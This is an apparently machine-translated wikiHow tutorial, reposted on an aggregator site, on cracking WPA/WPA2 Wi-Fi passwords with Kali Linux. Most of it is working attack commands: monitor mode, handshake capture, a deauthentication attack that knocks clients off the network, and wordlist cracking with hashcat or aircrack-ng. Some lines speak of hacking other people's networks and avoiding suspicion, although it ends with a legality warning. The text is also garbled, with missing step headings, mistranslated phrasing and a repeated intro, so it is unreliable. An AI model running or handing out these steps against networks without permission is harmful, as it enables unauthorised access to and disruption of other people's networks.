You are viewing the article How to Hack Wi-Fi WPA/WPA2 Using Kali Linux at Lassho.edu.vn you can quickly access the necessary information in the table of contents of the article below.
wikiHow is a “wiki” site, which means that many of the articles here are written by multiple authors. To create this article, 23 people, some of whom are anonymous, have edited and improved the article over time.
This article has been viewed 43,730 times.
This wikiHow teaches you how to crack (hack) a WPA or WPA2 network password using Kali Linux.
Steps
Prepare to hack Wi-Fi
- Hacking the network that does not meet the above criteria is considered illegal and may constitute a crime.
- Go to https://www.kali.org/downloads/ using a web browser on your computer.
- Click HTTP next to the Kali version you want to use.
- Wait for the file download to complete.
- You can also use a Mac for this step.
- You need to make sure that the USB is still connected to the computer after completing this process.
- Restart the Windows computer.
- Access the BIOS menu.
- Set up your computer to boot from the USB drive by looking for “Boot Options” (or similar), selecting the USB name, and moving the drive to the top of the list.
- Save and exit, then wait for the Kali Linux installation window to appear (you may need to restart your computer again).
- Follow the Kali Linux installation prompt that appears on the screen.
- Many computers have a built-in RFMON Wi-Fi adapter, so you should proceed with the first four steps of the next section before purchasing.
- If you are using Kali Linux on a virtual machine, you will need a Wi-Fi adapter regardless of the type of card in the computer.
- You will need the root account for the whole hacking process.
- Even if you have set up the adapter on your computer before, you still have to set up the network card for Kali Linux at this step by inserting it.
- In most cases, you just need to insert the network card into the computer to proceed with the setup.
Hack Wi-Fi
- Or you can press Alt + Ctrl + T to open Terminal.
sudo apt-get install aircrack-ng
- If you have to open another Terminal window (as we will do in this article), you may need to execute the sudo command with the password again.
airmon-ng
- If you are hacking your own network then the monitor is usually named “wlan0”.
- If you don’t see the monitor name here, the Wi-Fi adapter doesn’t support monitoring.
airmon-ng start wlan0
- Don’t forget to replace “wlan0” with the target network name if you hack another network.
iwconfig
airmon-ng check kill
airodump-ng mon0
- You need to replace “mon0” with the name of the monitoring interface in the last step.
- MAC address — The range of numbers to the left of the router’s line.
- Channel — This is the number (for example, 0, 1, 2, etc.) to the right of the WPA or WPA2 tag.
airodump-ng -c channel --bssid MAC -w /root/Desktop/ mon0
- Replace “channel” with the channel number you recorded in the last step.
- Replace “MAC” with the MAC address that was recorded in the previous step.
- Remember to replace “mon0” with your interface name.
- Here is an example of an address:
airodump-ng -c 3 --bssid 1C:1C:1E:C1:AB:C1 -w /root/Desktop/ wlan0mon
- If you’re not in the mood to wait, you can force the handshake to appear by attacking the deauth before continuing with this section.
mv ./-01.cap name.cap
- If the file “.cap” is not named “-01.cap” as in this example, replace “-01.cap” with the actual name of the file “.cap”.
cap2hccax.bin name.cap name.hccax
- You can also go to https://hashcat.net/cap2hccapx/ and upload the “.cap” file to an online converter by clicking Choose File and selecting the file. Once the file is uploaded, click Convert to convert the file and download the new version to your computer before continuing.
sudo git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
- If your computer doesn’t have a GPU, you need to use aircrack-ng instead.
HASH_FILE = name.hccax POT_FILE = name.pot HASH_TYPE = 2500 ./naive-hashcat.sh
- It can take anywhere from a few hours to several months for a password to be cracked.
Use aircrack-ng on a computer without a GPU
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
- Note: aircrack-ng will not be able to crack a WPA or WPA2 password if the password is not in the wordlist.
aircrack-ng -a2 -b MAC -w rockyou.txt name.cap
- If you are cracking a WPA network instead of WPA2, replace “-a2” with -a .
- Replace “MAC” with the MAC address you wrote down in the previous section.
- Replace “name” with the name you gave the file “.cap”.
Attack deauth to collect handshake
airodump-ng -c channel --bssid MAC
- For example:
airodump-ng -c 1 --bssid 9C:5C:8E:C9:AB:C0
- This indicates that a client (such as a computer) has just connected to the network.
aireplay-ng -0 2 -a MAC1 -c MAC2 mon0
- “2” is the number of packets that you will send. You can increase or decrease it, but be aware that sending more than 2 packets can cause a noticeable security hole.
- Replace “MAC1” with the leftmost MAC address at the bottom of the background Terminal window.
- Replace “MAC2” with the MAC address on the far right at the bottom of the background Terminal window.
- Remember to replace “mon0” with the interface name you specified at the beginning when the computer looked for the router.
- An example of a command:
aireplay-ng -0 3 -a 9C:5C:8E:C9:AB:C0 -c 64 :BC:0C:48:97:F7 mon0
Advice
- Using this method to test your Wi-Fi for weaknesses before launching the server is a good way to guard against similar attacks.
Warning
- Hacking someone else’s Wi-Fi without permission is against the law in most countries. You should only do the above steps on someone’s home or Wi-Fi network that has allowed you to check.
- Sending more than two reconfirmation packets can cause the target computer to crash and raise suspicion.
wikiHow is a “wiki” site, which means that many of the articles here are written by multiple authors. To create this article, 23 people, some of whom are anonymous, have edited and improved the article over time.
This article has been viewed 43,730 times.
This wikiHow teaches you how to crack (hack) a WPA or WPA2 network password using Kali Linux.
Thank you for reading this post How to Hack Wi-Fi WPA/WPA2 Using Kali Linux at Lassho.edu.vn You can comment, see more related articles below and hope to help you with interesting information.
Related Search: